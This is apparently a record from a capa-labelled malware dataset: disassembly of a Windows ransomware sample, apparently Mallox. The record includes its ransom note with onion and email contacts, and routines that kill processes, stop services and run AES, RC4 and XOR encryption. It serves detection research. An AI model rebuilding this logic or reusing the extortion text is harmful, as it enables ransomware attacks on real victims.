joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140005940
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r15
sub rsp, 0x70
mov rax, qword [0x14005a040]
xor rax, rsp
mov qword [rsp + 0x68], rax
cmp dword [0x1400604d0], 0
lea r12, [0x1400604f0]
mov rsi, rcx
jne 0x140005a1a
lea rcx, [0x14005d208]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea r8, [rsp + 0x48]
call fcn.14000562c
lea rcx, [rsp + 0x48]
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd rbp, eax
xor r8d, r8d
lea r15, str.Hello_r_n_r_nYour_files_are_encrypted_and_can_not_be_used_r_nTo_return_your_files_in_work_condition_you_need_decryption_tool_r_nFollow_the_instructions_to_decrypt_all_your_data_r_n_r_nDo_not_try_to_change_or_restore_files_yourself__this_will_break_them_r_nIf_you_want__on_our_site_you_can_decrypt_one_file_for_free._Free_test_decryption_allowed_only_for_not_valuable_file_with_size_less_than_3MB_r_n_r_nHow_to_get_decryption_tool:_r_n1__Download_and_install_TOR_browser_by_this_link:_https:__www.torproject.org_download__r_n2__If_TOR_blocked_in_your_country_and_you_cant_access_to_the_link_then_use_any_VPN_software_r_n3__Run_TOR_browser_and_open_the_site:_wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion_mallox_privateSignin_r_n4__Copy_your_private_ID_in_the_input_field._Your_Private_key:_id_r_n5__You_will_see_payment_information_and_we_can_make_free_test_decryption_here_r_n_r_nOur_blog_of_leaked_companies:_r_nwtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion_r_n_r_nIf_you_are_unable_to_contact_us_through_the_site__then_you_can_email_us:_decryption_mallox.homes_r_nWaiting_for_a_response_via_mail_can_be_several_days._Do_not_use_it_if_you_have_not_tried_contacting_through_the_site.
mov dl, byte [r8 + r15]
mov r9d, ebx
add r9, r12
mov byte [r9], dl
cmp dl, 0x7b
jne 0x1400059f9
lea eax, [r8 + 1]
cmp byte [rax + r15], 0x69
jne 0x1400059f9
lea eax, [r8 + 2]
cmp byte [rax + r15], 0x64
jne 0x1400059f9
lea edi, [r8 + 3]
cmp byte [rdi + r15], 0x7d
jne 0x1400059f9
mov r8, rbp
lea rdx, [rsp + 0x48]
mov rcx, r9
call fcn.14003c820
dec ebx
mov r8d, edi
add ebx, ebp
inc ebx
inc r8d
cmp r8d, 0x49d
jb 0x1400059af
lea rcx, [0x14005d208]
mov dword [0x1400604d0], ebx
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
and qword [rsp + 0x30], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x40000000
mov rcx, rsi
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140005a75
mov r8d, dword [0x1400604d0]
lea r9, [rsp + 0x40]
and qword [rsp + 0x20], 0
mov rdx, r12
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14001c440
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r12
pop rdi
ret
Function at 0x14000b4e4
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r14
sub rsp, 0x20
cmp byte [rcx + 0x28], 0
mov r14, rdx
mov rsi, rcx
jne 0x14000b530
mov rdi, qword [rcx + 8]
cmp rdi, qword [rcx + 0x10]
je 0x14000b530
lea rdx, [r14 + 8]
mov rcx, rdi
call fcn.14000c550
cmp rax, 0xffffffffffffffff
jne 0x14000b525
add rdi, 0x60
cmp rdi, qword [rsi + 0x10]
jne 0x14000b507
jmp 0x14000b530
mov rdx, rdi
mov rcx, rsi
call fcn.14000d350
mov r8d, dword [r14]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14000b568
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, 0x3a98
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x14000d350
Capabilities:
Modify service
Query service status
Stop service

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xa0
mov rax, qword [0x14005a040]
xor rax, rsp
mov qword [rbp + 0x3f], rax
cmp byte [rcx + 0x28], 0
mov rbx, rdx
mov rdi, rcx
jne 0x14000d4f6
and dword [rbp + 0xf], 0
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp qword [rbx + 0x18], 7
mov rsi, rax
jbe 0x14000d399
mov rbx, qword [rbx]
mov rcx, qword [rdi + 0x20]
mov r8d, 0x2e
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov qword [rbp + 7], rax
mov rbx, rax
test rax, rax
je 0x14000d4f6
and qword [rsp + 0x50], 0
or edx, 0xffffffff
and qword [rsp + 0x48], 0
mov r9d, edx
and qword [rsp + 0x40], 0
mov r8d, 4
and qword [rsp + 0x38], 0
mov rcx, rax
and qword [rsp + 0x30], 0
and qword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
lea rax, [rbp + 0xf]
mov r9d, 0x24
lea r8, [rbp + 0x17]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x14000d4ed
cmp dword [rbp + 0x1b], 1
je 0x14000d4ed
jmp 0x14000d477
mov ecx, dword [rbp + 0x2f]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0xf]
mov r9d, 0x24
lea r8, [rbp + 0x17]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x14000d4ed
cmp dword [rbp + 0x1b], 1
je 0x14000d4ed
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov ecx, dword [rdi + 0x2c]
sub rax, rsi
cmp rax, rcx
ja 0x14000d4ed
cmp dword [rbp + 0x1b], 3
je 0x14000d42d
lea rdx, [rbp + 7]
mov rcx, rdi
call fcn.14000d518
mov rbx, qword [rbp + 7]
lea r8, [rbp + 0x17]
mov rcx, rbx
mov edx, 1
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x14000d4ed
jmp 0x14000d4e7
mov ecx, dword [rbp + 0x2f]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0xf]
mov r9d, 0x24
lea r8, [rbp + 0x17]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x14000d4ed
cmp dword [rbp + 0x1b], 1
je 0x14000d4ed
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov edx, dword [rdi + 0x2c]
sub rax, rsi
cmp rax, rdx
ja 0x14000d4ed
cmp dword [rbp + 0x1b], 1
jne 0x14000d4a5
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.14001c440
mov rbx, qword [rsp + 0xd0]
add rsp, 0xa0
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000deb0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 8
xor r10d, r10d
mov r11, rcx
test r9, r9
je 0x14000e014
cmp r9, 8
jb 0x14000dfed
lea rcx, [r9 - 1]
lea rax, [r8 - 1]
add rcx, r11
add rax, r9
cmp r11, rax
ja 0x14000dee9
cmp rcx, r8
jae 0x14000dfed
lea rax, [rdx - 1]
add rax, r9
cmp r11, rax
ja 0x14000defe
cmp rcx, rdx
jae 0x14000dfed
mov rcx, rdx
mov qword [rsp + 0x10], rbx
sub rcx, r8
mov qword [rsp], rdi
cmp r9, 0x40
jb 0x14000dfa7
mov rdi, r9
mov qword [rsp + 0x18], rsi
and edi, 0x3f
mov rsi, r9
sub rsi, rdi
mov rbx, r11
lea rax, [r8 + 0x10]
sub rbx, r8
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
add r10, 0x40
movdqu xmm1, xmmword [rcx + rax - 0x10]
movdqu xmm2, xmmword [rcx + rax]
lea rax, [rax + 0x40]
xorps xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x40]
movdqu xmmword [rbx + rax - 0x50], xmm1
xorps xmm2, xmm0
movdqu xmm0, xmmword [rax - 0x30]
movdqu xmm1, xmmword [rcx + rax - 0x30]
movdqu xmmword [rbx + rax - 0x40], xmm2
xorps xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x20]
movdqu xmm2, xmmword [rcx + rax - 0x20]
movdqu xmmword [rbx + rax - 0x30], xmm1
xorps xmm2, xmm0
movdqu xmmword [rbx + rax - 0x20], xmm2
cmp r10, rsi
jb 0x14000df40
mov rsi, qword [rsp + 0x18]
cmp rdi, 8
jb 0x14000dfdf
mov rbx, r9
and rbx, 0xfffffffffffffff8
mov rdi, r11
lea rax, [r10 + r8]
sub rdi, r8
nop dword [rax + rax]
movq xmm1, qword [rcx + rax]
add r10, 8
movq xmm0, qword [rax]
lea rax, [rax + 8]
xorps xmm1, xmm0
movq qword [rax + rdi - 8], xmm1
cmp r10, rbx
jb 0x14000dfc0
mov rdi, qword [rsp]
mov rbx, qword [rsp + 0x10]
cmp r10, r9
jae 0x14000e014
sub rdx, r8
lea rax, [r10 + r8]
sub r11, r8
sub r9, r10
nop word [rax + rax]
movzx ecx, byte [rax + rdx]
xor cl, byte [rax]
mov byte [rax + r11], cl
lea rax, [rax + 1]
sub r9, 1
jne 0x14000e000
add rsp, 8
ret
Function at 0x14000e020
Capabilities:
Encode data using xor

Disassembly:
push rdi
sub rsp, 0x50
mov rax, qword [0x14005a040]
xor rax, rsp
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
mov qword [rsp + 0x30], 0
lea rax, [rsp + 0x30]
mov rdi, rcx
lea r9, [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x38]
movups xmmword [rsp + 0x38], xmm0
call fcn.14000f1a0
test eax, eax
jne 0x14000e1be
mov r8d, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x3c]
mov r9d, dword [rsp + 0x40]
bswap ecx
mov ecx, ecx
bswap r8d
bswap r9d
mov r8d, r8d
shl r8, 0x20
or r8, rcx
mov r9d, r9d
mov ecx, dword [rsp + 0x44]
shl r9, 0x20
bswap ecx
mov ecx, ecx
or r9, rcx
mov qword [rsp + 0x68], rbx
cmp dword [0x14005e280], eax
mov qword [rdi + 0xa0], r9
mov qword [rdi + 0x120], r8
jne 0x14000e0ec
mov eax, 1
mov dword [0x14005e280], 1
xor ecx, ecx
cpuid
mov dword [0x14005e288], eax
mov dword [0x14005e28c], ebx
mov dword [0x14005e290], ecx
mov dword [0x14005e294], edx
mov dword [0x14005e284], ecx
jmp 0x14000e0f2
mov ecx, dword [0x14005e284]
test cl, 2
jne 0x14000e1b7
mov qword [rdi + 0xe0], 0
mov qword [rdi + 0x60], 0
mov ebx, 4
mov eax, r9d
mov rcx, r8
and eax, 1
shl rcx, 0x3f
imul edx, eax, 0xe1000000
mov rax, r9
shr rax, 1
mov r9, rcx
or r9, rax
mov rax, r8
shr rax, 1
mov qword [rdi + rbx*8 + 0x60], r9
mov ecx, edx
shl rcx, 0x20
mov r8, rcx
xor r8, rax
mov qword [rdi + rbx*8 + 0xe0], r8
shr ebx, 1
jne 0x14000e113
mov r10d, 2
mov ebx, r10d
nop
mov r8, qword [rdi + rbx*8 + 0xe0]
mov r9, qword [rdi + rbx*8 + 0x60]
cmp rbx, 1
jle 0x14000e1a8
lea rax, [rdi + 0x68]
lea rdx, [rbx - 1]
nop dword [rax + rax]
mov rcx, r8
xor rcx, qword [rax + 0x80]
mov qword [rax + rbx*8 + 0x80], rcx
lea rax, [rax + 8]
mov rcx, r9
xor rcx, qword [rax - 8]
mov qword [rax + rbx*8 - 8], rcx
sub rdx, 1
jne 0x14000e180
lea eax, [r10 + r10]
add rbx, rbx
mov r10d, eax
cmp eax, 8
jle 0x14000e160
mov rbx, qword [rsp + 0x68]
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14001c440
add rsp, 0x50
pop rdi
ret
Function at 0x14000f930
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movups xmm1, xmmword [rdx]
aeskeygenassist xmm0, xmm1, 1
pshufd xmm3, xmm0, 0xff
xorps xmm3, xmm1
movups xmmword [rcx], xmm1
pslldq xmm1, 4
xorps xmm3, xmm1
pslldq xmm1, 4
xorps xmm3, xmm1
pslldq xmm1, 4
xorps xmm3, xmm1
aeskeygenassist xmm0, xmm3, 2
pshufd xmm1, xmm0, 0xff
xorps xmm1, xmm3
movdqu xmmword [rcx + 0x10], xmm3
pslldq xmm3, 4
movdqa xmm0, xmm3
pslldq xmm3, 4
xorps xmm0, xmm1
movdqa xmm2, xmm3
xorps xmm2, xmm0
pslldq xmm3, 4
xorps xmm2, xmm3
aeskeygenassist xmm0, xmm2, 4
pshufd xmm1, xmm0, 0xff
xorps xmm1, xmm2
movdqu xmmword [rcx + 0x20], xmm2
pslldq xmm2, 4
movdqa xmm0, xmm2
pslldq xmm2, 4
xorps xmm0, xmm1
movdqa xmm3, xmm2
xorps xmm3, xmm0
pslldq xmm2, 4
xorps xmm3, xmm2
aeskeygenassist xmm0, xmm3, 8
pshufd xmm1, xmm0, 0xff
xorps xmm1, xmm3
movdqu xmmword [rcx + 0x30], xmm3
pslldq xmm3, 4
movdqa xmm0, xmm3
pslldq xmm3, 4
xorps xmm0, xmm1
movdqa xmm2, xmm3
xorps xmm2, xmm0
pslldq xmm3, 4
xorps xmm2, xmm3
aeskeygenassist xmm0, xmm2, 0x10
pshufd xmm1, xmm0, 0xff
xorps xmm1, xmm2
movdqu xmmword [rcx + 0x40], xmm2
pslldq xmm2, 4
movdqa xmm0, xmm2
pslldq xmm2, 4
xorps xmm0, xmm1
movdqa xmm3, xmm2
xorps xmm3, xmm0
pslldq xmm2, 4
xorps xmm3, xmm2
aeskeygenassist xmm0, xmm3, 0x20
pshufd xmm1, xmm0, 0xff
xorps xmm1, xmm3
movdqu xmmword [rcx + 0x50], xmm3
pslldq xmm3, 4
movdqa xmm0, xmm3
pslldq xmm3, 4
xorps xmm0, xmm1
movdqa xmm2, xmm3
xorps xmm2, xmm0
pslldq xmm3, 4
xorps xmm2, xmm3
aeskeygenassist xmm0, xmm2, 0x40
pshufd xmm1, xmm0, 0xff
xorps xmm1, xmm2
movdqu xmmword [rcx + 0x60], xmm2
pslldq xmm2, 4
movdqa xmm0, xmm2
pslldq xmm2, 4
movdqa xmm3, xmm2
xorps xmm0, xmm1
xorps xmm3, xmm0
pslldq xmm2, 4
xorps xmm3, xmm2
aeskeygenassist xmm0, xmm3, 0x80
pshufd xmm1, xmm0, 0xff
xorps xmm1, xmm3
movdqu xmmword [rcx + 0x70], xmm3
pslldq xmm3, 4
movdqa xmm0, xmm3
pslldq xmm3, 4
xorps xmm0, xmm1
movdqa xmm2, xmm3
xorps xmm2, xmm0
pslldq xmm3, 4
xorps xmm2, xmm3
aeskeygenassist xmm0, xmm2, 0x1b
pshufd xmm1, xmm0, 0xff
xorps xmm1, xmm2
movdqu xmmword [rcx + 0x80], xmm2
pslldq xmm2, 4
movdqa xmm0, xmm2
pslldq xmm2, 4
xorps xmm0, xmm1
movdqa xmm3, xmm2
xorps xmm3, xmm0
pslldq xmm2, 4
xorps xmm3, xmm2
aeskeygenassist xmm0, xmm3, 0x36
pshufd xmm1, xmm0, 0xff
xorps xmm1, xmm3
movdqu xmmword [rcx + 0x90], xmm3
pslldq xmm3, 4
movdqa xmm0, xmm3
pslldq xmm3, 4
xorps xmm0, xmm1
movdqa xmm1, xmm3
xorps xmm1, xmm0
pslldq xmm3, 4
xorps xmm1, xmm3
movdqu xmmword [rcx + 0xa0], xmm1
ret
Function at 0x140016b50
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
movzx eax, r9b
mov rdi, r8
movzx r11d, al
mov rbx, rdx
and r11b, 0x1f
shr eax, 5
mov r10, rcx
and eax, 0x80000003
jge 0x140016b8a
dec eax
or eax, 0xfffffffc
inc eax
movzx ecx, al
movzx ebp, r11b
mov r9d, dword [r8 + rcx*4]
mov ecx, 0x20
sub cl, r11b
movzx edx, cl
xor ecx, ecx
test r11b, r11b
bswap r9d
cmove edx, ecx
sub rbx, r10
movzx esi, dl
lea r11d, [rcx + 4]
nop word [rax + rax]
inc al
lea r10, [r10 + 4]
and al, 3
movzx ecx, al
mov r8d, dword [rdi + rcx*4]
mov ecx, esi
bswap r8d
mov edx, r8d
shr edx, cl
mov ecx, ebp
shl r9d, cl
or edx, r9d
mov r9d, r8d
bswap edx
xor edx, dword [rbx + r10 - 4]
mov dword [r10 - 4], edx
sub r11, 1
jne 0x140016bc0
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret
Function at 0x14001b430
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push r14
push r15
sub rsp, 0x30
cmp qword [rcx + 0x440], 0xffffffffffffffff
mov r14, r9
mov r15d, r8d
mov rbp, rdx
mov rbx, rcx
je 0x14001b4ff
test rdx, rdx
je 0x14001b4ff
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], r12
xor r12d, r12d
mov esi, r12d
nop word [rax + rax]
mov rcx, qword [rbx + 0x440]
mov r9, r14
mov r8d, r15d
mov qword [rsp + 0x20], r12
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, eax
test eax, eax
jne 0x14001b4dc
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r8, [rbx + 0x420]
cmp qword [r8 + 0x18], 7
jbe 0x14001b4b8
mov r8, qword [r8]
mov r9d, eax
lea rdx, str._s:_WriteFile_code:__lu
mov rcx, rbx
call fcn.14001a800
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0x32
jl 0x14001b480
mov r12, qword [rsp + 0x60]
test edi, edi
mov rdi, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x50]
setne al
mov rbx, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop rbp
ret
mov rbx, qword [rsp + 0x68]
xor al, al
add rsp, 0x30
pop r15
pop r14
pop rbp
ret
Function at 0x14001bd10
Capabilities:
Get system information on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14005a040]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov eax, dword [rcx]
mov rbx, rcx
test eax, eax
jne 0x14001bd57
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [rsp + 0x40]
mov dword [rbx], ecx
cmp ecx, 1
ja 0x14001bd4b
mov eax, 2
jmp 0x14001bd55
mov eax, dword [rbx + 4]
cmp ecx, eax
ja 0x14001bd55
lea eax, [rcx - 1]
mov dword [rbx], eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14001c440
add rsp, 0x60
pop rbx
ret

Function at 0x14001c1f0
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
push rbx
sub rsp, 0xb0
mov rax, qword [0x14005a040]
xor rax, rsp
mov qword [rsp + 0xa0], rax
mov edx, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x140062508], eax
jle 0x14001c36d
lea rcx, [0x140062508]
call fcn.14001c81c
cmp dword [0x140062508], 0xffffffff
jne 0x14001c36d
mov ecx, 0x40
call fcn.14001c6fc
mov rbx, rax
mov qword [rsp + 0x20], rax
lea rcx, [rax + 0x18]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_InitializeConditionVariable]
mov dword [rbx + 0xc], 0
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x90]
cmp eax, 1
ja 0x14001c28f
mov eax, 2
jmp 0x14001c29d
cmp eax, 0xa
jbe 0x14001c29b
mov eax, 0xa
jmp 0x14001c29d
dec eax
mov dword [rbx + 8], eax
mov dword [rsp + 0x30], 0x40
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rcx, qword [rsp + 0x40]
mov edx, 0x40000000
test eax, eax
cmove rcx, rdx
mov qword [rbx], 0xa000000
xorps xmm1, xmm1
test rcx, rcx
js 0x14001c2d9
cvtsi2sd xmm1, rcx
jmp 0x14001c2ee
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm1, rax
addsd xmm1, xmm1
mulsd xmm1, qword [str.ffffff]
mov eax, dword [rbx + 8]
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
divsd xmm1, xmm0
xor ecx, ecx
movsd xmm0, qword [0x140053140]
comisd xmm1, xmm0
jb 0x14001c32c
subsd xmm1, xmm0
comisd xmm1, xmm0
jae 0x14001c32c
movabs rax, 0x8000000000000000
mov rcx, rax
cvttsd2si rax, xmm1
add rax, rcx
and rax, 0xffffffffff800000
cmp rax, 0x800000
jae 0x14001c34b
mov qword [rbx], 0x1800000
jmp 0x14001c35a
mov edx, 0xff800000
cmp rax, rdx
cmova rax, rdx
mov qword [rbx], rax
mov qword [0x140062510], rbx
lea rcx, [0x140062508]
call fcn.14001c7b0
mov rax, qword [0x140062510]
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.14001c440
add rsp, 0xb0
pop rbx
ret

Function at 0x14001d0dc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001d126
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001d126
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001d126
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001d126
cmp dword [rcx + 0x84], 0xe
jbe 0x14001d126
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001d128
xor al, al
add rsp, 0x28
ret

Function at 0x140027da4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140027ba0
Function at 0x140030d5c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140030d8c
xor eax, eax
jmp 0x140030e4f
mov rbp, rbx
cmp word [rax], si
je 0x140030db1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140030d98
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140030d94
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140030c7c
movsxd r14, eax
test eax, eax
jne 0x140030def
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140030d85
mov rcx, r14
call fcn.14002be04
mov rdi, rax
test rax, rax
jne 0x140030e08
xor ecx, ecx
call fcn.14002bdc8
jmp 0x140030de4
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140030c7c
test eax, eax
jne 0x140030e39
mov rcx, rdi
call fcn.14002bdc8
jmp 0x140030e43
xor ecx, ecx
call fcn.14002bdc8
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x140034020
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14002c1dc
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x1400340c1
cmp ebx, dword [rsp + 0x30]
je 0x1400340ba
test esi, esi
je 0x1400340ba
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x140034095
sub r8w, 0x61
cmp r8w, 0x19
ja 0x1400340a2
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14003407f
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x1400340a6
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x1400340c3
mov eax, 1
jmp 0x1400340c3
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14003aa0c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x14005c6e0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x14003aa63
cmp word [rdx], r13w
jne 0x14003aa63
or byte [rax + rdi*8 + 0x38], cl
jmp 0x14003aa68
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x14003ab8d
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x14003abae
lea r9, [rdx + 2]
cmp cx, r11w
je 0x14003aaa1
mov rdx, r9
mov word [rbx], cx
jmp 0x14003aac8
cmp r9, r8
jae 0x14003aad8
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14003aa82
jmp 0x14003ab8d
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14003ab82
cmp dword [rsp + 0x80], esi
je 0x14003ab82
lea r8, [0x14005c6e0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14003ab5a
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14003ab2a
mov word [rbx], r13w
jmp 0x14003ab8a
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14003ab37
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14003ab8a
cmp word [rsp + 0x70], r13w
jne 0x14003ab67
cmp rbx, r14
je 0x14003ab24
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.14003a8c0
cmp word [rsp + 0x70], r13w
je 0x14003ab8d
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x14005c6e0]
mov rdx, qword [r8 + rbp*8]
